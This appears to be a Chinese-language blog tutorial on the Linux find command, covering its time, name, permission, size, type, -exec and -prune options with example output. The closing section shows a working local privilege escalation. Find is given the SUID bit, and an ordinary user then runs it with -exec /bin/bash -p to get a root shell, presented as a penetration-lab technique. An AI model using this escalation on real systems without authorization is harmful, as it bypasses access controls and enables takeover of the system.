yongz
发布于 2023-11-09 / 0 阅读
0

Linux find 命令详解

Linux find 命令详解

1 find 基本用途

1.1 find 概述

  • 在官方 Man 手册中,find 的作用是:在目录层次结构中搜索文件。

  • 命令使用结构如下:

find [-H] [-L] [-P] [-D debugopts] [-Olevel] [starting-point...] [expression]

1.2 find 选项

  • 由于 find 选项过于多了,这里只挑我经常用到或者看到的。

1.2.1 --help

  • find --help 是一个在类Unix操作系统中使用的命令,用于显示 find 命令的帮助手册或文档。

  • find --help 更多的是用法而不是说明,示例如下:

[root@localhost ~]# find --help
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression]

default path is the current directory; default expression is -print
expression may consist of: operators, options, tests, and actions:

operators (decreasing precedence; -and is implicit where no others are given):
      ( EXPR )   ! EXPR   -not EXPR   EXPR1 -a EXPR2   EXPR1 -and EXPR2
      EXPR1 -o EXPR2   EXPR1 -or EXPR2   EXPR1 , EXPR2

positional options (always true): -daystart -follow -regextype

normal options (always true, specified before other expressions):
      -depth --help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf
      --version -xautofs -xdev -ignore_readdir_race -noignore_readdir_race

tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N
      -cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
      -ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN
      -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
      -nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN
      -readable -writable -executable
      -wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N
      -used N -user NAME -xtype [bcdpfls]
      -context CONTEXT


actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print 
      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Report (and track progress on fixing) bugs via the findutils bug-reporting
page at http://savannah.gnu.org/ or, if you have no web access, by sending
email to <bug-findutils@gnu.org>.

注:如果要查看详细的说明文档,建议使用 man find。

1.2.2 -xtime

1.2.2.1 -atime
  • -atime 用于匹配文件的访问时间。

  • 匹配访问时间精确为 n 天的文件:

find /path/to/directory -atime n
  • 匹配访问时间在 n 天之前的文件:

find /path/to/directory -atime +n
  • 匹配访问时间在 n 天以内的文件:

find /path/to/directory -atime -n
1.2.2.2 -ctime
  • 与 -atime 同理,用于匹配文件的变化时间。

1.2.2.3 -mtime
  • 与 -atime 同理,用于匹配文件的修改时间。

1.2.3 -newerxt

1.2.3.1 -newermt
  • -newermt:用于查找在指定时间之后修改过的文件。

  • 在根目录及其子目录中搜索类型为文件的文件,并且其修改时间在 2023 年 11 月 1 日 00:00:00 之后,并且在 2023 年 11 月 3 日 23:59:59 之前:

[root@localhost ~]# find / -type f -newermt "2023-11-01 00:00:00" -a ! -newermt "2023-11-03 23:59:59"
find: ‘/proc/48553/task/48553/fdinfo/5’: No such file or directory
find: ‘/proc/48553/fdinfo/6’: No such file or directory
1.2.3.2 -newerat
  • 与 -newermt 同理,用于查找访问时间在指定时间之后的文件。

1.2.3.3 -newerct
  • 与 -newermt 同理,用于查找状态改变时间在指定时间之后的文件。

1.2.4 -name

  • find 命令在没有指定其他选项和参数时,它会从当前目录开始搜索,并列出当前目录及其子目录中的所有文件和目录。

  • 使用 -name 用于根据文件名来匹配搜索结果:

[root@localhost ~]# cd /etc ; find -name passwd
./pam.d/passwd
./passwd
  • 使用通配符匹配文件扩展名、文件前缀:

[root@localhost etc]# cd /etc ; find -name 'passwd*'
./pam.d/passwd
./passwd
./passwd-

[root@localhost etc]# cd /etc ; find -name '*.txt'
./pki/nssdb/pkcs11.txt
./brltty/brl-lb-all.txt
......

1.2.5 -path

  • -path 用于根据文件路径来匹配搜索结果。

  • -path 选项用于匹配文件路径而不是文件名,示例如下:

[root@localhost etc]# cd /etc ; find -path './rc*' -name 'network'

注:-path 选项是区分大小写的,如果想进行不区分大小写的文件路径匹配,可以使用 -ipath 选项。

1.2.6 -perm

  • -perm 用于根据文件权限来匹配搜索结果。

  • 可以跟着一个用于匹配的权限模式,这个模式可以是一个八进制数字,也可以是一个符号表示的权限。

1.2.6.1 -perm mode
  • -perm mode 用于匹配具有指定权限模式的文件,也就是精确匹配:

[root@localhost tmp]# touch demo ; find -perm 644
./demo
  • 但在更多情况下,我们希望能够对权限进行模糊匹配。

  • 比如:查找所属组具有写权限的目录,或者是查找其他用户具有写权限的文件等。

  • 重点,要背:

    • 数字 0 表示忽略相应位置的权限;

    • 数字非 0 表示相应位置权限;

1.2.6.2 -perm -mode
  • -perm -mode:匹配具有至少包含指定权限模式的文件(和的关系)。

[root@localhost tmp]# touch demo ; find -perm -640 | grep demo
./demo

[root@localhost tmp]# touch demo ; find -perm -620 | grep demo

1.2.6.3 -perm /mode
  • -perm /mode:匹配具有任意一个指定权限模式的文件(或的关系)。

[root@localhost tmp]# touch demo ; find -perm /644 | grep demo
./demo

[root@localhost tmp]# touch demo ; find -perm /422 | grep demo
./demo
1.2.6.4 -perm +mode
  • 不再支持此功能(自 2005 年起已弃用),请改用 -perm /mode。

1.2.7 -size

  • -size:用于根据文件大小来匹配搜索结果。

  • 后面可以跟着一个用于匹配的大小值。这个大小值可以是以块(blocks)为单位的整数,也可以使用带有单位的字符串来表示。

  • 可以使用以下后缀(常用):

    • C:bytes

    • K:KiB

    • M:MiB

    • G:GiB

  • -size n:匹配大小精确为n个块的文件:

find /path/to/directory -size 1024
  • -size +n:匹配大小大于n个块的文件。

find /path/to/directory -size +1024
  • -size -n:匹配大小小于n个块的文件。

find /path/to/directory -size -1024

1.2.8 -type

  • -type:用于在指定目录及其子目录中递归搜索文件和目录,Linux 文件类型如下:

文件类型

解释说明

-

普通文件是最常见的文件类型,存储了文本、二进制数据或程序代码等信息,大部分文件都属于这种类型。

d

目录是用于组织文件的特殊文件类型,它包含了其他文件和子目录。 在Linux中,一切皆文件,包括目录本身,类似于 Windows 的文件夹。

b

设备文件用于与系统中的设备进行通信。Linux 将设备文件分为块设备文件和字符设备文件两种类型,块设备文件用于访问像硬盘驱动器这样的块设备。

c

字符设备,用于访问像键盘、打印机等字符设备。

l

符号链接也称为软链接,它是一个指向另一个文件的特殊类型文件,类似于 Windows 中的快捷方式。

p

管道是一种用于进程间通信的文件类型,类似于套接字,但通常用于同一系统上的进程间通信。

s

套接字是一种用于进程间通信的特殊文件类型。它允许不同的进程通过网络或本地通信机制进行数据交换。

  • 查找 /etc 目录下的软链接:

[root@localhost ~]# find /etc -type l
/etc/mtab
/etc/fonts/conf.d/62-google-crosextra-caladea-fontconfig.conf
/etc/fonts/conf.d/61-urw-fallback-backwards.conf
......

1.2.9 -user

  • -user:查找具有特定所有者的文件或目录。

[root@localhost ~]# find /etc -user root
/etc
/etc/fstab
/etc/crypttab
/etc/mtab
......

1.2.10 -exec

1.2.10.1 -exec command
  • -exec command:用于在找到的每个文件上执行指定的命令。

  • 完整的命令为:

    • {}:表示找到的文件的占位符,{} 将被实际找到的文件名替换,然后命令将在每个文件上执行;

    • ; 表示命令的结束。

注:

  • 请务必在 {} 和 ; 之间留出空格;

  • ; 来表示分号字符本身,而不是作为命令的结束;

  • -exec 会对每个找到的文件执行指定的命令。

-exec <command> {} \;
  • 使用 ls -l 查看 /etc 目录下名称为 passwd 的文件:

[root@localhost ~]# find /etc -name 'passwd' -exec ls -l {} \;
-rw-r--r--. 1 root root 188 Apr  1  2020 /etc/pam.d/passwd
-rw-r--r--. 1 root root 2309 Nov  8 11:30 /etc/passwd
1.2.10.2 -execdir command
  • -execdir command:用于在找到的文件所在的目录中执行指定的命令。

  • 与 -exec 选项不同,-execdir 选项会将命令应用于每个找到的文件所在的目录,而不是文件本身。

  • 使用 ls -l 查看 /etc 目录下名称为 passwd 的文件:

[root@localhost ~]# find /etc -name 'passwd' -execdir ls -ld {} \;
-rw-r--r--. 1 root root 188 Apr  1  2020 ./passwd
-rw-r--r--. 1 root root 2309 Nov  8 11:30 ./passwd

1.2.11 -prune

  • -prune:可以用于控制 find 命令的搜索深度或忽略某些目录,通常与 -path 联动。

  • 但该选项坑略多:

    • -prune 选项只能用于目录,而不能用于文件。它用于排除匹配到的目录及其子目录,而不是文件本身。

    • -prune 选项应该放置在表达式中的适当位置,以确保正确的排除目录。通常,它在 -name 或其他匹配表达式之后使用。

    • 如果 -prune 选项单独使用,它会排除所有匹配的目录,而不会执行任何进一步的操作。

  • 在 /etc 目录下查找名称为 “network” 的文件,但排除 ./rc.d 目录:

[root@localhost etc]# find /etc -type d -name "rc.d" -prune -o -type f -name "network"
/etc/sysconfig/network
/etc/rc.d
/etc/vmware-tools/scripts/vmware/network
  • 可以看到文件虽然被排除了,但是目录还是显示了出来,不利于后续执行命令,所以换一个命令 -not -path:

[root@localhost etc]# find /etc -not -path "*rc.d*" -name "network"
/etc/sysconfig/network
/etc/vmware-tools/scripts/vmware/network
  • 这就看着顺眼多了。

2 find SUID

  • 这里算是 Linux 打靶过程中常用的 find SUID 提权方式吧。

  • 查看并修改 find 命令的权限:

[root@localhost ~]# ll /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find
[root@localhost ~]# chmod 4755 /usr/bin/find
[root@localhost ~]# find /usr/bin -type f -perm /4000 2>/dev/null -exec ls -l {} \; | grep find 
-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find
  • 切换到普通用户,使用 find 执行 whoami 命令:

[root@localhost ~]# su yongz
[yongz@localhost root]$ id
uid=1001(yongz) gid=1001(yongz) groups=1001(yongz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[yongz@localhost root]$ touch /tmp/1 ; find /tmp/1 -exec whoami \;; rm -rf /tmp/1
root
  • 可看到执行成功,直接切换 Shell

注:一定要加 -p,不然可能会提权失败。

[yongz@localhost root]$ touch /tmp/1 ; find /tmp/1 -exec /bin/bash -p \;; rm -rf /tmp/1
bash-4.2# id
uid=1001(yongz) gid=1001(yongz) euid=0(root) groups=1001(yongz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  • 成功提升到 root 权限。

注:

  • 这里可以看到有出现了一个 euid(effective user ID),当用户执行一个可执行文件时,该执行文件的 euid 将被设置为文件所有者的 uid,这使得用户在执行该文件时可以暂时获得文件所有者的特权。

  • 所以当一个可执行文件设置了 SUID 位,并且文件所有者是 root(uid 为 0),那么当普通用户执行该文件时,该进程的 euid 将设置为 0(root),以获得执行该文件所需的特权权限。


小问题:

  • 为什么我要自己创建文件去查找,不创建用如下命令会发生什么?

find / -exec whoami \;